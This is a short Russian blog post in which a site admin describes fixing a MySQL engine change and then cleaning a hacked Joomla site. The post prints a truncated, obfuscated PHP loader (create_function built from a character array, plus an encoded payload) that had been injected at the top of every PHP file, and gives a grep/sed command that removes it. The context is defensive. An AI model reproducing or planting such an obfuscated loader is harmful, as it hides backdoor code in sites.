Продолжаем бесконечную историю.
Сегодня день начался с того, что блог перестал открываться по причине того, что хостер убрал InnoDB из поддерживаемых движков сервера баз данных MySQL.
Пришлось слить дамп, выполнить команду sed ‘s/InnoDB/MyISAM/g’ old.sql > new.sql и залить обратно =)
Сегодня наткнулся на такую прелесть:
<?php $md5 = "abe69649a7dbde93d328df6049b55aea"; $wp_salt = array('(','t','v','d',"i","o",";","b",'4','n',"a","z",')',"c","f","6","r","g","l","e","$",'_','s'); $wp_add_filter = create_function('$'.'v',$wp_salt[19].$wp_salt[2].$ <часть кода убрана> $wp_add_filter('FZfFrsZaroQfp89RBmHSHYWZ/+CkFWbmPP3dPVoza9lyub4qr3T4p/7aqRrSo/wnS/eSwP5blPlclP/8R0wKcdsz4/BDuf/o94ZeDeqY <часть кода убрана> PMGMDiRh5qWg6HLEf5riM6MQuC11VVIEqiIAh8IMX/599///2//wc='); ?>
Все, абсолютно все php-файлы сайта содержали в своем начале вышеуказанный код (с небольшими вариациями). Про старую версию Joomla и устаревшие расширения, кучу шеллов я рассказывать не буду. Суть не в этом =)
Как вариант, можно полечить следующей командой:
grep -lRZ wp_add_filter ./ | xargs sed -i-bak -e '1,6d'
С помощью первой половины (до “трубы”) получаем список файлов, содержаших строку, содержащую “слово” wp_add_filter. Просто уверен, что в Joomla подобной строки просто не найти. Вторая половина (после “трубы”) – удаляет строки с первой по шестую из файла, сохраняя исходный файл с расширением “-bak”.
Есть вопросы – с удовольствием выслушаю и постараюсь помочь.